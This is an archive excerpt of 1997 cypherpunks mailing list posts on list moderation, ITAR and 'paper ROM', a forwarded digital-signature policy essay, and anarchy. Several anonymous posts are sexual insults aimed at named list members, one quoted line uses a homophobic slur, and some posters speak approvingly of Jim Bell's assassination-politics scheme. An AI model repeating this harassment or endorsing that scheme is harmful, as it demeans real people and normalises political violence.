At 07:59 PM 2/5/97 -0800, jim bell wrote:
...
>The kind of effects I'm thinking of are primarily the "military spending" 
>situations, where:
>
>1.  Large numbers of potentially competent and useful people get put into 
>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>(Those people who still think military spending is really necessary 
>obviously haven't read AP.)
This point I can not argue with, at least not directly.  I do believe that
the military way is wasteful of resources.  However, this is one area that
has actually benefitted the lower-income bracket in that it gives them
"inexpensive" (off-chance of death) access to good training.
>2.  Large amounts of money are spent on military hardware, money which goes 
>to fund  people who would otherwise develop useful products in the 
>non-government private sector.
Three things that promote technological growth, expansion, war, threat of war.
As for expansion. we really have no where else to go.  As for war and threat
of war, the computer was invented during a war, atomic energy was harnessed
during war, the internet was created during threat of war.  Many
advancements, though not all, come to benefit society later.  For that
matter, steel was probably invented during a war as well, but I can't prove it.
>3.  The patent system decreases competition, increases profits and prices in 
>the marketplace due to government actions to allow and enforce monopolies.
The patent system gives the innovator a reward for ingenuity, that person
can decide what to do with the invention for a short period of time, after
which it becomes available to all.  (BTW I really think that computer code
should be copyrighted and not patented, this allows others to reproduce the
work independantly without repercussions, gives the necessary protection,
makes it more obviously a form of speech.)
>4.  Government employees are paid more for their activities than they would 
>receive in the private sector.  Ironically, in this case an 
>"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
>middle level government manager to his counterpart in private industry, 
>because to postulate there is such a government-job assumes that the 
>private-sector would do it post-AP.  

To this I can't argue, business is certainly leaner than government.  Of
course most desert plants are more robust than their resource-wasteful
wetland counterpart.  Where there is a near-bottomless supply of material,
as in taxes, true streamlining really doesn't happen.  Remember, the
automobile really didn't become anywhere near fuel-efficient until after the
energy crisis.
> 
>>If you are right then governments would effectively lose the ability to tax,  
>>with or without representation, as most people do not agree on everything,
>>like how their money is spent.  However, even now, as pointed out in some
>>recent posts, our tax money is used to foreward the goals of a few, these
>>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>>oppostition, our money is still used to foreward the goals. 
>
>Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
>nothing would prevents individuals from continuing to fund an organization 
>called a "government" so that it could do those (non-coercive) things that 
>individual wants to see done.  But I think it'll be amazing how many of 
>those heretofore-funded-by-govt projects (previously promoted as being 
>wanted by a large fraction of the citizenry) that evaporate when the public 
>is given the option to continue to fund them voluntarily.
>
>
>Let's suppose, hypothetically and for vast simplification, the government 
>engages in two activities, "A" and "B."   Further suppose government taxes 
>from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
>thought that Alphas like spending on "A",  but hate spending on "B".   
>Likewise, it is figured that Betas like spending on "B", don't like spending 
>on "A".    
>
>Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
>fund only "A",  while Betas" would donate money for activity "B".   Assuming 
>the amount of funding for those activities was equal, you might think that 
>things could go on as they already do.  But no.   The reality is that 
>"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
>tolerate their own money being used for both only because the "Betas" are 
>similarly forced.  Add volunteerism to the whole mix, and not only would 
>these two groups only fund just what they really wanted, they would soon 
>discover they don't even want the level of spending they previously argued 
>for, pre-AP.
As it is, the "A" group, that's not us, is being promoted with virtually all
of the capitol, the "B" group, us, is being attacked in policy and attempts
are being made to keep us from getting any bigger.
...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Feb 1997 13:45:38 -0800 (PST)
To: declan@pathfinder.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <v03007810af1d7405e4ee@[168.161.105.191]>
Message-ID: <199702052145.VAA00144@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> Adam writes:
> 
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.
> 
> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value.

Their policies impose the editors and owners biases on the
publication.  If people value their publication they buy it.  The
average quality of the articles is higher than a discussion group --
the authors spend longer writing the articles, and the best articles
are selected by the editors.  Unsuprising.  The articles are probably
biased towards the editors or owners politics.

> Moderation is not necessarily censorship. Would you criticize the
> National Coalition Against Censorship for not including in their
> newsletter (to which I subscribe) off-topic rants by Jesse Helms?

A newsletter is not a discussion forum.  Editorial control of a
newsletter is not moderation of a discussion group.  The cypherpunks
list is a discussion forum.  It's the electronic equivalent of people
talking amongst themselves about crypto issues in free time at CFP, or
a crypto conference.

> What Vulis and the rest (whom I killfiled long ago) have done is
> polluted a common resource, making it unusable for the rest. It's
> the tragedy of the commons. When all can speak without limit in a
> public forum, the drunken boor can shout everyone else down.

Dimitri's opinions aren't threatening anything.  If you aren't
interested in what he says don't read his articles.  If you disagree
with what he says, argue against it.  Subscribe to or start filtering
services (rating services) reflecting your views.

Personally I think something useful could be done with a content
digested form of cypherpunks with ratings, and pointers to the actual
posts.

Things like:

+ a thread on the experiment moderation, discussion from John Gilmore,
  Tim May, and others (hypertext ref)

+ series of latest ascii art and insults

+ new crypto developments in article forwarded by JYA

+-+ discussion of new crypto developments, and Lucky offers a bet

Would take a fair amount of effort from someone to produce a running
commentry of cypherpunks discussions to provide a higher level index
in to cypherpunks.

The price of unconditional free speech is that people will say things
which you personally don't agree with, however libertarian you are.

The only thing to do is to ignore stuff you don't like, or argue
against it, if you say, no this is too crap, or too worthless, then
you've started on the slippery slope.  It is the same principle that
protects your own freedom of expression.

It is worth bearing in mind that cypherpunks themselves are part of a
minority (the population of people who understand what encryption is
and implies, and know what governments are proposing enough to form an
opinion on whether crypto should be regulated or not).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 22:04:53 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: ITAR and Paper ROM
Message-ID: <199702060604.WAA06737@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>>should be possible to achieve the equivalent of 100x100 bpi of
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>>100 kilobytes.   What does ITAR say about this?
>
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable.  In these investigations I used matricies of
>small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
>to replace diskettes for inexpensive mass data distribution.  I was able to
>reliably get 100-200 KB/page side using standard offset printing.  With
>modern ink-jet/laser printers you should be able to reliably get at least
>10-50KB/page side. Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a few
>years earlier.

It seems to me that the main impediment to doing this in the middle 1980's 
was the lack of inexpensive scanners.  But the utility of a system like this 
has, unfortunately (?) or perhaps fortunately, probably been killed by the 
Internet.  Today, a magazine or newspaper can merely post a short pointer to 
a website including an FTP, or something similar.  True, that doesn't 
guarantee the availability of the data years later, but...



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 22:37:54 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
In-Reply-To: <199702051939.LAA03422@toad.com>
Message-ID: <3.0.1.32.19970205222643.0061e5a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable. [....]
>to replace diskettes for inexpensive mass data distribution.  
> Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a 
>few years earlier.

Yeah, our patent office is so helpful - granting a patent for
	"Storage of Information By Making Marks On Paper" :-)
You'd think they'd recognize a few thousand years of prior art.....

Xerox also has a similar patent; their method uses little diagonals
to encode data in. ///\\\///  It really _isn't_ called "cuneform".

More practically, sort of, there was the Cauzin Softstrip Reader,
which cost about $200 and held enough data to distribute programs
back when computers and programs were much smaller; a few PC magazines
tried distributing programs by printing them in the back that way.
Cute, but not cute enough to stick around very long.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 19:55:56 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <3.0.1.32.19970205225459.009a45d0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks-
Got this off of the Red Rock Eater list,
<http://communication.ucsd.edu/pagre/rre.html>, and figured those of you
not on it might like a read.

_________________________________________________
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: PKI: 10 Public Policy Questions
X-Url: http://communication.ucsd.edu/pagre/rre.html

[The bottom line: State legislation on digital signatures presupposes an
overly centralized architecture and is weighted against victims of fraud.
Pursuing inherently national or global issues on the state level permits
interested parties to shop for a friendly legislature, who will then set
a precedent that other jurisdictions are likely to follow.  This system
is biased against less politically mobilized constituencies and favors
older technologies and more centralized business models.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 05 Feb 1997 09:48:01 -0800
From: Bradford Biddle <BIDDLECB@COOLEY.COM>
Subject: PKI: 10 Public Policy Questions

[...]

* * * * * * * * *

[Copyright 1997 C. Bradford Biddle; permission granted for
non-commercial electronic redistribution]

CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM

PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10
PUBLIC POLICY QUESTIONS

BRAD BIDDLE*

	Following the lead of the state of Utah, numerous states and
several foreign countries have enacted "digital signature" legislation
aimed at promoting the development of a public key  infrastructure
(PKI).  While PKI legislation has acquired significant momentum, it is
not clear that lawmakers have carefully considered the public policy
implications and long-term consequences of these laws.  This luncheon
session will explore certain policy questions related to a PKI, in an
informal "open discussion" format.  Ten questions we hope to address
are:

1.	Is legislation necessary at all?	

	Proponents of digital signature legislation start with the
premise that the need for a PKI is clear: public key cryptography and
verifiable certificates offer the best hope for sending secure,
authentic electronic messages over open networks, thereby facilitating
electronic commerce. They argue that the reason that the commercial
marketplace has not produced a viable certification authority (CA)
industry is because of legal uncertainty (CAs are unable to determine
their potential liability exposure because of a confusing array of
applicable background law) or because existing law imposes too much
liability on CAs.  Thus, proponents argue, legislation is necessary in
order to provide certainty in the marketplace and allow a much-needed
industry to emerge, as well as to address other issues such as the legal
status of digitally signed documents.

	Opponents of this view assert that it is far too soon to
conclude that the market will not produce commercial CAs, and point to
the increasing numbers of commercial CAs emerging even in the absence of
legislation.  Time is solving the "uncertainty" problem, opponents
argue, and the "too much liability" problem is the product of flawed
business models, not a flawed legal system. Opponents of legislation
argue that the real danger is that a group of lawyers will impose a set
of flawed rules that will fundamentally skew a dynamic infant
marketplace and "lock in" a set of business models that the market would
otherwise reject.  The time for legislation and regulation is after
identifiable problems exist in a mature industry, opponents say, not
before an industry even exists.  Opponents of legislation further argue
that existing legal mechanisms can address the issue of the legal status
of digitally signed documents.

2.	Where should PKI legislation occur?

	Debate also occurs over the appropriate jurisdictional level for
digital signature legislation. Some observers cringe at the thought of
50 inconsistent state digital signature laws; others believe that CAs
and consumers will opt-in to the most sensible legislative scheme, and
thus believe that competition between the states is helpful.  Proponents
of uniformity and consistency argue for PKI legislation at the federal
or international level; opponents of this view point out that general
commercial law has long been the province of state legislatures.

3.	Is licensing of Certification Authorities the right approach?

	Under the Utah Digital Signature Act ("Utah Act") and much of
the subsequent PKI-related legislation CAs are licensed by the state. 
The Utah Act makes licensing optional: CAs that obtain licenses are
treated with favorable liability rules, but non-licensed CAs may exist
in Utah. Licensing is a highly intrusive form of government regulation
(other, less intrusive methods of regulation include mandatory
disclosure requirements, altering liability rules to avoid externalized
costs, bonding or insurance requirements, etc.).  Typically, licensing
as a form of regulation is reserved for circumstances where a market
flaw cannot be addressed by other, less intrusive means.   Does this
sort of dynamic exist with CAs?  Would consumers be able to make
informed, rational choices between CAs?  Could an incompetent CA cause
irreparable harm?  Could other types of regulation address any relevant
market flaws?  If unlicensed practitioners are allowed to exist, subject
to different liability rules, how will this affect the CA market?

4.	Should legislation endorse public key cryptography, or be
"technology neutral"?

	Most of the digital signature legislation to date has focused
specifically on digital signatures created using public key
cryptography.  Some legislation has also addressed the issue of
"electronic signatures" -- other, non-public key methods of
authenticating digital transmissions. Proponents of biometric
authentication methods argue that it is foolish to legislatively
enshrine public key cryptography as the only technology capable of
authenticating an electronic document. They argue that biometric methods
can currently accomplish many of the same goals as digital signatures;
they further argue that by precluding other technologies future
innovations will be discouraged.  They also note that public key
cryptography can only be implemented using patents owned by a limited
number of commercial entities, and question whether it is wise public
policy to legislatively tie electronic commerce so closely to the
interests of a few private sector actors.

5.	Should legislation endorse the X.509 paradigm?

	When the Utah Act was enacted, it explicitly endorsed the X.509
infrastructure model. Subsequent laws have dropped the explicit
endorsement of X.509, but nonetheless remain true to the X.509 paradigm.
 Under most digital signature legislation, certificates serve to bind an
individual's *identity* to a particular public key.  This binding is
accomplished in the context of a rigid, hierarchical CA infrastructure. 
This model has been criticized for two main reasons: global CA
hierarchies are almost certainly unworkable, and identity certificates
often provide too much information -- frequently an "attribute" or
"authority" certificate will do.  Alternative certificate formats, such
as SDSI and SPKI, have emerged in response to these and other perceived
flaws with the X.509 model.  However, it is not clear that these
alternative certificate formats can be accommodated under current
digital signature legislation.

6.	How should liability and risk be allocated in a PKI?

	Liability allocation promises to be a vexing problem in a PKI.
The liability issue is most dramatic in the context of fraud.  An
impostor can obtain the private encryption key associated with a
particular party and create electronic documents purporting to be from
that party.  A second party may enter into an electronic contract
relying on these ostensibly valid documents, and a loss may occur.  Who
should bear this loss? In the paper world, generally one cannot be bound
by a fraudulent signature.  This principle may not be entirely
appropriate in an electronic context, however.  In a PKI, the integrity
of the infrastructure depends upon the security of private encryption
keys.  If a key holder bears no liability for fraudulent use of that
private key, perhaps he or she  may not have adequate incentive to keep
the private key secure.

	How much liability should the private key holder bear?  Under
the Utah Act and its progeny, an individual who negligently loses
control of their private key will bear unlimited liability. This risk
allocation scheme raises the specter of consumers facing immense losses
-- as one commentator puts it: "Grandma chooses a poor password and
loses her house."  In contrast, consumer liability for negligent
disclosure of a credit card number is generally limited to $50.  If
consumer liability were similarly limited in a PKI, where would the risk
of loss fall?  If CAs had to act as an insurer in all transactions, the
price of certificates would likely be extraordinarily high.  If relying
third parties faced the risk that ostensibly valid documents may in fact
be forgeries and bear any resulting loss, then some benefits of a PKI
are lost. 

7.	What mechanisms should be used to allocate risk?

	Currently at least one commercial certification authority,
VeriSign,  is attempting to allocate risk to both certificate subjects
and relying third parties by contract.  VeriSign includes significant
warranty disclaimers, liability limitations, and indemnification
provisions in its Certification Practices Statement (CPS).  Certificate
applicants agree to be bound by the CPS when obtaining a certificate. 
VeriSign's web page informs relying third parties that the act of
verifying a certificate or checking a certificate revocation list
indicates agreement to the terms of the CPS.  However, it is not clear
that a binding contract can be formed with relying third parties in this
fashion.  Thus the relationship between VeriSign and relying parties may
not be governed by the CPS at all, but instead be subject to default
contract and tort rules (which would be less favorable to VeriSign). As
a policy matter, should CAs be able to form contracts with relying third
parties, despite their rather attenuated connection?  If relying parties
will be bound by unilateral contracts imposed by CAs, they face
significant transaction costs involved with determining the contract
terms offered by potentially numerous CAs.  If CAs cannot scale their
potential liability exposure to third parties by contract, however, it
may be impossible for CAs to compete on warranty terms -- and presumably
such terms would otherwise be the subject of significant competition.

8.	Should digitally-signed documents be considered "writings" for
all legal purposes?

	The Utah Act and most other digital signature laws provide that
digitally signed documents have the same legal effect as writings. 
Critics have noted that while most of the functions or goals of writing
requirements may be served by electronic documents, this may not be true
in all instances.  For example, the law often requires a written
instrument to effect notice -- i.e., to alert an individual that a lien
has been filed on their property.  It is not clear that a digitally
signed electronic message would achieve the same effect.  Additionally,
there are other contexts -- such as wills or adoption papers -- where
paper documents may prove more effective than electronic documents. 
Moreover some paper documents (such as bank drafts or warehouse
receipts) are negotiable instruments, and this negotiable character
depends upon the existence of a single, irreproducible copy of the
document.  Thus, critics say, digital signature legislation should not
override all writing requirements without separately considering the
extent to which sound policy might require retention in specific
circumstances.

9.	How much evidentiary weight should a digitally-signed document
carry?

	Evidentiary  issues, though seemingly arcane and procedural, can
raise important public policy concerns.  For example, the Utah Act
creates a presumption that the person who owns a particular key pair
used to sign a document in fact did sign the document.  Holding an
individual presumptively bound by obligations entered into under their
digital signature could be inequitable if the individual is the victim
of the fraudulent use of such a signature.  This potential problem can
be compounded by the evidentiary weight assigned to digitally-signed
documents.  Under the Utah Act digitally-signed documents are accorded
the same evidentiary weight as notarized documents, and someone
challenging the authenticity of such a document can overcome the
presumption of authenticity only with "clear and convincing evidence"
(in contrast, one can overcome the presumption of validity of a paper
signature simply by denying that it is one's signature).  Critics of the
Utah Act's approach argue that providing digitally-signed documents with
this status creates unreasonable evidentiary burdens for victims of
fraud challenging the validity of electronic documents signed with the
victim's private key.

10.	Should governments act as CAs?

	Much of the currently enacted digital signature legislation
envisions state government agencies acting as "top level" certification
authorities who in turn certify a second tier of private sector CAs.  At
the federal level, the U.S. Postal Service has declared its intention to
act as a CA on a nationwide basis.  Should governments be acting in this
sort of role?  Critics say no, arguing that government involvement will
skew an emerging private sector CA marketplace.  Government actors may
face very different liability rules than private sector market
participants -- governments can choose to scale their potential
liability exposure through the doctrine of sovereign immunity. Thus,
critics argue, government CAs may "win" in the marketplace not because
they are more efficient or provide better service, but rather because
they can stack the rules in their favor. Proponents of government
involvement argue that governments can play an important role precisely
because they can create sensible ground rules for all PKI participants. 
Additionally, they note that governments have existing relationships
with all of their citizens, making the process of identification and
public key binding that much easier.

----------------------------------------------------------------------------
--------------

* Brad Biddle is the author of "Misplaced Priorities: The Utah Digital
Signature Act and Liability Allocation in a Public Key Infrastructure,"
which appears in Volume 33 of the San Diego Law Review, and serves as
Vice Chair of the Electronic Commerce Subcommittee of the American Bar
Association's Committee on the Law of Commerce in Cyberspace.  He is a
third-year law student at the University of San Diego and is a law clerk
in Cooley Godward LLP's San Diego office, where he served on the legal
team advising the Internet Law and Policy Forum's Working Group on
Certification Authority Practices.  He can be contacted by phone at
(619) 550-6301 or by e-mail at biddlecb@cooley.com.

_________________________________________________

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Most obscure warning:
If you fork() without ever waiting on your children, you will accumulate
zombies.
-PERLFUNC man page





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 23:31:47 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051611.JAA25482@infowest.com>
Message-ID: <32F9813B.29DC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970204:2343 jim bell <jimbell@pacifier.com> said:
> +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> +>    In a "popular" anarchy, Jim Bell's assassination politics make
> +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

> +I guess I don't understand the distinction you are trying to make,
> +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
> +to distinguish  between "dictatorship of the few (or one)" and
> +"dictatorship of the many (perhaps a  majority)" but it didn't come out
> +very understandably. Put simply, "anarchy is not the lack of order.
> +It is the lack of _orders_."

>     disagree. pure anarchy is not the lack of "orders" --pure anarchy
>     implies that everyone is imbued with that perfect sense of responsibility.

I don't know where these implications come from. Start with a primitive
example, such as animals in the wild.  Is that a perfect anarchy?
Where do the differences come in for humans?  Are they neo-religious
perceptions, which could never find universal agreement?  Or are they
set in stone, in immutable, universal laws?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 23:31:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <wVRN2D4w165w@bwalk.dm.com>
Message-ID: <32F98300.78A1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > an example to escalate the exclusion to other persons who are not in
> > > > fact drunk, watch out!

> > > If I get really really drunk, which happens very seldom, then I'm
> > > too drunk to post. I don't mind an occasional beer, though.

> > > Oksas, have you ever tried beer? :-)

> > I had my first beer(s) in three years at one of those industrial
> > parties last night.  It made the craps table action seem a bit
> > merrier, and the girls were friendlier too.

> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> one think: I like room-temperature beer better than cold beer. YMMV.

Interesting coincidence for people on opposite coasts - the bar at
the hotel had two choices:  Bud regular and Coors light.  I took the
Coors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Feb 1997 20:32:21 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199702060340.TAA11380@toad.com>
Message-ID: <Pine.GSO.3.95.970205232951.9844A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we
not only described how easy it was to modify a handheld radio, we had a
guest who demo'd cell-snooping on the air.

-Declan

On Wed, 5 Feb 1997, Bovine Remailer wrote:

> http://www.cnn.com
> 
> Congressman demonstrates
> ease of cell phone snooping
> 
>      
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Feb 1997 00:37:33 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
In-Reply-To: <199702060340.TAA11393@toad.com>
Message-ID: <3.0.1.32.19970206001154.006c8e48@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

>In the meantime, if you're interested in e$, or financial crypto, or other
>stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
>:-)), you might want to check it.

I think that Bob's e$ list should be considered a viable alternative to the
other two filtered cpunks lists; I recommend it to people looking for a
moderated alternative to the list. (I get e$, but use Eudora and procmail to
suck out the duplicates where messages are copied from lists I already get.)
He also finds a lot of the stuff that used to show up on cpunks but doesn't
any more because people have wandered away.

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

I'm starting to think that cpunks may be similar to college, in that it's a
good thing for a few years, but if you stick around too long you just get
bitter and cranky and frustrated because the new people keep talking about
the same old problems. Don't they know we've already talked about that? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH
e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F
QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l
mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w
3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8
0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg==
=+SRl
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Feb 1997 17:18:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] PGP
Message-ID: <199702060025.BAA06705@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May has been beaten up 
numerous times by fellow prostitutes for 
driving blow job prices down.

         (((>     /<
        (        /
         ((({{{{{:<
                 \
                  \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 5 Feb 1997 22:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Sphere packing
Message-ID: <199702060633.WAA03735@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimwit Virus K[rust]OfTheMonth styles his facial hair to look
more like pubic hair.

   (___)
   (o o)_____/
    @@ `     \ Dimwit Virus K[rust]OfTheMonth
     \ ____, /
     //    //
    ^^    ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 5 Feb 1997 23:17:24 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051526.HAA28775@toad.com>
Message-ID: <199702060735.BAA00273@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
> >+   Is the desire for an anarchic community at odds with a desire for 
> >+   good use of resources?
> Actually, it is quite possible that an "anarchic community" is _more_ 
> efficient in the use of resources than some sort of organized community.    
> It is explained, for example, that the reason there are so many different 
> kinds of life on earth is that there are so many ecological niches to fill.  

     Good does not necessarily mean efficient, and efficient does not
necessarily mean good. 

    Picture--if you can--the "perfect" centrally planned economy where all
possible market conditions, wants and needs are taken into account. Factories
are placed optimally for access to natural resources and distribution to 
consumers etc. Also assume that the people running this society _are_ intersted
in efficient production methods, and activly look for new and better ways of 
getting things done--benign facism/socialism if you will. This would (assuming 
perfect people, but bear with me) be the _most efficient_ method of producing 
and delivering goods, but it would introduce certain "choke points", one 
natural disaster or war could cripple production of necessary items. 

    Picture anarchy, massively redundant, and resistent to this problem, while
probably not anywhere _near_ as efficient, this "system" would have the ability
to absorb damage and adapt more rapidly to changing enviroments. 

> No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
> believed (as "everyone" else believed, even myself, before AP) that anarchy 
> was inherently unstable.  But it ISN'T, if the tools of AP are used to 

     Stable is a relative thing. Are things stable now? If you think so, you
either aren't looking very hard, or you are giving "stable" a wide range.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 5 Feb 1997 22:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Cats out of bags
Message-ID: <199702060636.WAA03977@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Destitute Violent K[arcinogen]OTM is so in love with himself,
he cries out his own name when orgasming. Then again, no one
else is ever around.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Destitute Violent K[arcinogen]OTM
      \ \--/ /
       ------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WIZZYH2H@aol.com
Date: Wed, 5 Feb 1997 23:10:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tapping these resources.
Message-ID: <970206020431_716677637@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I noticed that there are several programs that will let anyone send encrypted
email.

What about encrypted messages over a chat system like irc, chat rooms(aol,
BBS) and systemwide messages (IM, whisper, private message)?

The server wouldn't have to do anything except send the messages, the users
software could handel all the protocols and message identification.  Dialup
and logon features aren't needed either, allmost all cilents will let you
shell.

I have been looking for, and tring to write a program to do this, but Im a
rookie programmer and my attempts have yet to produce a functional
send/receive utility.

Where are programs like this.. are there any to be found? 

wizzyh2h@aol.com   OR     wizzy@juno.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 05:05:04 -0800 (PST)
To: phr@netcom.com
Subject: Re: sci.crypt archive?
